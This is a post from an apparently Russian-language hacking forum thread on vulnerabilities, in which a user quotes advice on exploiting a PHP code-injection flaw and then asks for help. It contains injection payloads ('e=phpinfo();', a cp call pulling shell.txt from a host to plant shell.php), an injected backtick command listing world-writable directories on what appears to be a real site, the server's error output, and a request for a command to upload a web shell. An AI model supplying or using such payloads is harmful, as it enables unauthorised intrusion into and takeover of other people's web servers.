Ваши вопросы по уязвимостям.

#11

14.09.2011, 16:50

VertuOzz

Новичок

Регистрация: 08.09.2011

Сообщений: 4

С нами: 7725206

Репутация: 0

Цитата:

Сообщение от winstrool

это может дать тебе возможность выполнять пхп код, т.е если в том месте где ты вставил эту строчку срабодает пхп инфо которое можешь вызвать так "e=phpinfo();" то значит можешь удаленно попробовать залить шелл примерно так "e=cp("/folder/shell.php","http://localhost/shell.txt");" ну или на месте самой этой строчки вставить код уплодера, вообщем вариантов куча)

А можно через cmd залить?

На команду

Код:

find . -type d -perm 777 -print

ругнулся

Код HTML:

Warning:  include_once() [function.include]: Failed opening 'modules/error_reporting(0);print `find . -type d -perm 777 -print`;///error_reporting(0);print `find . -type d -perm 777 -print`;//.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/xxx/public_html/includes/libs/ss.inc.php on line 168

но выдал все папки с правами на записью Какой командой можно залить файл, удаленно или локально?